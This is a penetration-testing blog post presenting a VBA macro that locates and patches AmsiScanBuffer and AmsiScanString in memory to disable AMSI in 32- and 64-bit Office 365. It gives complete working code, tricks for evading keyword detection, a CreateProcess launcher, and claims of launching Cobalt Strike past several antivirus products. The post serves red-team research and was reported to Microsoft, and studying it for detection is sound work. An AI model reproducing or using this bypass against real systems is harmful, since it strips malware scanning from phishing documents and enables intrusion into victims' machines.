By Richard Davy (@rd_pentest) & Gary Nield (@Monobehaviour)

As most Pentesters know, Windows Defender is installed by default on Windows 10 and all new versions of Windows Server. During an engagement this can sometimes be frustrating, when wanting to obtain access to a remote machine, especially during a Phishing engagement.

There are multiple AMSI bypasses available on the Internet and with some customisation my colleague and I, during previous research time at ECSC Plc, wrote some custom tools to achieve this goal for internal engagements.

For the most part AMSI, using PowerShell, can be bypassed using simple obfuscation. AMSI within VBA, however, is very different.

Further detailed information of how AMSI works within VBA can be found here

https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/

VBA/AMSI Analysis Process

Essentially, logging occurs before functions are called, which means that code is de-obfuscated before it is run. This gives Anti-Virus (AV) an opportunity to inspect it for malicious or suspicious behaviour.

The result is that obfuscation is still useful for bypassing signature detection of the file, however, upon execution the code will still get flagged as a potential security concern by AMSI.

Malicious Macro Detection Alert

After some investigation (Googling) we found that some research had been undertaken in this area, along with several posts of malware dissection. Two prominent examples are below.

https://blog.yoroi.company/research/the-document-that-eluded-applocker-and-amsi/

https://idafchev.github.io/research/2019/03/23/office365_amsi_bypass.html

The first link is analysis of malware found in the wild, which appears to use an in-memory bypass written by rastamouse, written in C# and can be located at the URL below.

https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs

Rastamouse Source Code

The second link is a post detailing research, which has already been completed and submitted to Microsoft. Microsoft’s response informed the researcher that they have addressed the issues raised.

The author provided an initial port of the code to VBA, which gave a suitable starting point.

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub Document_Open()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr

    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
    
End Sub

After various modifications to the author’s code, it appeared that Microsoft’s method of addressing this issue was to flag as malicious any instance of the following keywords irrespective of their order of use.

AmsiScanBuffer
AmsiScanString
RtlMoveMemory
CopyMemory

In theory, this defends multiple AMSI bypasses, which are publicly available on the Internet, as most are based around the premise of finding AmsiScanBuffer/AmsiScanString and patching the bytes in memory.

This meant that we would have to put on our thinking caps in order to come up with an efficient way around the problem.

To make life even more difficult for ourselves we decided that neither of us liked the current AMSI bypass as it didn’t check the byte locations for expected bytes before patching which could result in a program crash and that we’d be executing payloads without knowing whether AMSI was bypassed which could potentially give the game away – not ideal in a Redteam scenario.

We also noticed that the code did not check whether Office was running in x32 or x64, both of which are offered by Microsoft and could result in a crash if patched arbitrarily.

In order to investigate further we used WinDbg, which can be downloaded and installed via the link below.

https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk

To view the assembly code we are interested in, we first need to attach to the winword.exe process. To achieve this press F6, select winword.exe and then OK.

Windbg Attach to Process

Then in the debugger window type
u amsi!amsiScanBuffer l100

AMSI Disassembly

We can see both the AmsiScanBuffer and AmsiScanString assembly code, and we can also see the names of neighbouring functions – of notable interest is AmsiUacInitialize.

We decided to modify the PoC code to see if we could successfully search for the address of AmsiUacInitialize and we were successful.

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr

Private Sub Test()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ")
    
End Sub

The above code returns the address for “AmsiUacInitialize” and if we then subtract 80 from this value, we get the start address for “AmsiScanString”, similarly if we subtract 256 we get the start address for “AmsiScanBuffer”.

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr

Private Sub x64_Office()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim AmsiScanStringAddr As LongPtr

    AmsiDLL = LoadLibrary("amsi.dll")

    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256
    Debug.print Hex(AmsiScanBufferAddr)

    AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80
    Debug.print Hex(AmsiScanStringAddr)

End Sub

We’ve now solved the first part of the puzzle; the next part is patching memory, which can be done using RtlFillMemory, though we need to make a simple change first.

Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)

During testing we found that if we left the Sub name as CopyMemory it got flagged by AMSI, however, AMSI was quite happy for us to use this function if we renamed CopyMemory to something else such as ByteSwapper.

Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
 
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long

Private Sub x64_Office()
    
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim AmsiScanStringAddr As LongPtr
    Dim result As Long

    AmsiDLL = LoadLibrary("amsi.dll")

    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256
    Debug.print Hex(AmsiScanBufferAddr)

    result = VirtualProtect(ByVal AmsiScanBufferAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP


    AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80
    Debug.print Hex(AmsiScanStringAddr)

    result = VirtualProtect(ByVal AmsiScanStringAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP


End Sub

The above code will successfully bypass AMSI within x64 Version of Microsoft Office 365.

Whilst the PoC works, a simple way to stop it would be to black list AmsiUacInitialize, using the same technique used to detect AmsiScanString and AmsiScanBuffer.

To make this a little more robust, we decided to improve the code by dynamically calculating the code offsets, which we want to modify. This would then enable us to use any of the functions within amsi.dll to calculate the memory locations we need to patch. To mitigate, Microsoft would theoretically need to blacklist all of the functions.

However, by reading memory and searching for the magic bytes to patch, we could just read the entire contents of amsi.dll in memory, starting from the amsi.dll base address and patch once the magic byte location was found.

We also wanted to make this work on both x32 and x64 versions of Office 365, within one document rather than having a macro for each version.

We decided to get the easy bit out of the way first, the following code detects whether Office 365 x32 or x64 is running and enables us to branch of accordingly.

Sub TestOfficeVersion()

'Test the Office version for x32 or x64 version
#If Win64 Then
    Call x64_office
#ElseIf Win32 Then
    Call x32_office
#End If

End Sub

In order to read the bytes we want from memory, the first API we tried was:

Private Declare Sub RtlCopyMemory Lib "kernel32.dll" (ByRef Destination As Long, ByRef Source As Long, ByVal Length As Long)

This API was initially successful, however, what we then later discovered was that RtlCopyMemory is only available for x64 and not x32. This initially puzzled us for a while, and we delved into Microsoft TechNet looking for other functions that we could use; we were both set on this code working on both x32 and x64. Further research revealed the breakthrough that we needed.

RtlCopyMemory and RtlMoveMemory are both in fact an alias for memcpy, which is within the msvcrt.dll library. It can be referenced directly and luckily works for both x32 and x64.

Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)

To get a buffer of bytes from memory, we take the offset of AmsiUacInitialize and go backwards an arbitrary value to somewhere before our code should be. We chose AmsiUacInitialize address – 352.

Using this as the starting point we then increment forward 352 places, byte by byte and add this to a buffer.

Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String

Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr

On Error Resume Next

TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset

Dim i As Integer
For i = 0 To TraverseOffset
    Peek LeakedByte, ByVal (TraverseStartAddr + i), 1

    If LeakedByte < 16 Then
        FixedByteString = "0" & Hex(LeakedByte)
        LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
    Else
        LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
    End If
Next i

GetBuffer = LeakedBytesBuffer

End Function

After execution we get something similar to the following bytes as a buffer.

4C8BDC49895B0849896B104989731857415641574883EC704D8BF9418BF8488BF2488BD9488B0DADDA0000488D05A6DA0000488BAC24B80000004C8BB424B0000000483BC87423F6411C04741D488B49104C8BCB49896BB04D8973A8448944242849895398E8D2F7FFFF4885F6746685FF74624885ED745D4885DB7458813B414D53497550488B43084885C07447488B4B104885C9743E4889442458488D150D85000048895424404533C94889742448488D542440897C24504C8BC54C897C24604C89742468488B01488B4018FF15658B0000EB05B8570007804C8D5C2470498B5B20498B6B28498B7330498BE3415F415E5FC3CCCCCCCCCCCCCCCCCCCCCCCC4883EC384533DB4885D2743D4C8B5424604D85D274334883C8FF48FFC06644391C4275F64803C041BBFFFFFFFF493BC377174C895424284C894C24204D8BC8448BC0E8B9FEFFFFEB05B8570007804883C438C3CCCCCCCCCCCCCCCCCCCCCCCCCC48

We then need to confirm that our magic bytes are amongst this buffer and if so, calculate the new offset location to use for patching.

The InStr function will compare two strings and return the position of the first occurrence of one string within another.

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)

Therefore, if InstructionInStringOffset is greater than zero, it means we have our magic bytes and can continue.

To calculate the offset in the code, we take the starting point of where we read the buffer from, calculated as follows:

LeakedAmsiDllAddr – TraverseOffset

We then take the value of InstructionInStringOffset and subtract 1, to make sure our final offset value is one byte before the location we want to patch and then divide by two, to take into account we’re working in bytes.

Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr

Dim memOffset As Integer
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset

End Function

Now that we can dynamically calculate our base patch offset, we can now rewrite our initial PoC code to take these changes and additional functions into account.

Patching in this manner, offers us quite a bit of freedom, both with regard to detection and also should the amsi.dll library change. 

Sub x64_office()

Dim LeakedAmsiDllAddr As LongPtr

Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer

Dim InstructionInStringOffset As Integer

ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352

LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")

LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)

    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
End If

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)

    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
End If

End Sub

Now that we have control over AMSI this wouldn’t be complete if we didn’t briefly talk about launching payloads.

Using functions such as ShellExecute or similar got detected by Windows Defender, both as other strains of Malware but also via the behavioural analysis detection.

The most reliable method involved using CreateProcess, which bypasses detection by Windows Defender.

During this research we also noted that Windows Defender could be bypassed quite easily by writing a simple encoder/decoder for strings, such as PowerShell cradles, encoding to base64.Decoding with native tools such as certutil.exe is unnecessary and increases the chances of detection.

Full working code of both the x64 and x32 bypass can be seen below.

The code below does not use any form of obfuscation nor does it do anything malicious it just launches good old calc. However with a little bit of extra work as seen in the videos below it can be used to successfully launch Cobalt Strike and bypass multiple AV vendor protections.

Each AV solution tested was in its default out of the box installation state, no further configuration or hardening has been applied.

Note – Prior to publishing this blog post we contacted Microsoft Response Centre and raised the issue of bypassing AMSI using VBA within Macros and they do not consider it a vulnerability.

Note:
Code below has some extra html encoded & symbols please refer to git for working example

https://github.com/rmdavy/WordAmsiBypass

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long

Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)

Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)

Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

Function LoadDll(dll As String, func As String) As LongPtr

Dim AmsiDLL As LongPtr

AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)

End Function

Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String

Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr

On Error Resume Next

TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset

Dim i As Integer
For i = 0 To TraverseOffset
    Peek LeakedByte, ByVal (TraverseStartAddr + i), 1

    If LeakedByte < 16 Then
        FixedByteString = "0" & Hex(LeakedByte)
        LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
    Else
        LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
    End If
Next i

GetBuffer = LeakedBytesBuffer

End Function

Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr

Dim memOffset As Integer

memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset

End Function

Sub x64_office()

Dim LeakedAmsiDllAddr As LongPtr

Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer

Dim InstructionInStringOffset As Integer
Dim Success As Integer

ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success = 0

LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")

LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)

    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
    Success = Success + 1
End If


InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)

    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
    Success = Success + 1
End If

If Success = 2 Then
    Call CallMe
End If

End Sub

Sub x32_office()

Dim LeakedAmsiDllAddr As LongPtr

Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer

Dim InstructionInStringOffset As Integer
Dim Success As Integer

ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0

LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")

LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)

    Debug.Print Hex(AmsiScanBufferPatchAddr)

    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "31")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H" & "C0")
    Success = Success + 1
End If

InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)

    Debug.Print Hex(AmsiScanStringPatchAddr)

    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2")
    Success = Success + 1
End If

If Success = 2 Then
    Call CallMe
End If

End Sub

Sub TestOfficeVersion()

#If Win64 Then
    Call x64_office
#ElseIf Win32 Then
    Call x32_office
#End If

End Sub

Sub CallMe()
    
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long

lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)

lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)

End Sub

The videos below demonstrates a malicious Word document being launched on multiple systems where AMSI is enabled and different AV solutions are installed. In each case a Cobalt Strike session is successfully launched.

Windows Defender
Kaspersky Total Security
Kaspersky Endpoint Security
Sophos Home
Sophos Endpoint
Windows Defender

3 Replies to “Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA”

Leave a Reply

Your email address will not be published. Required fields are marked *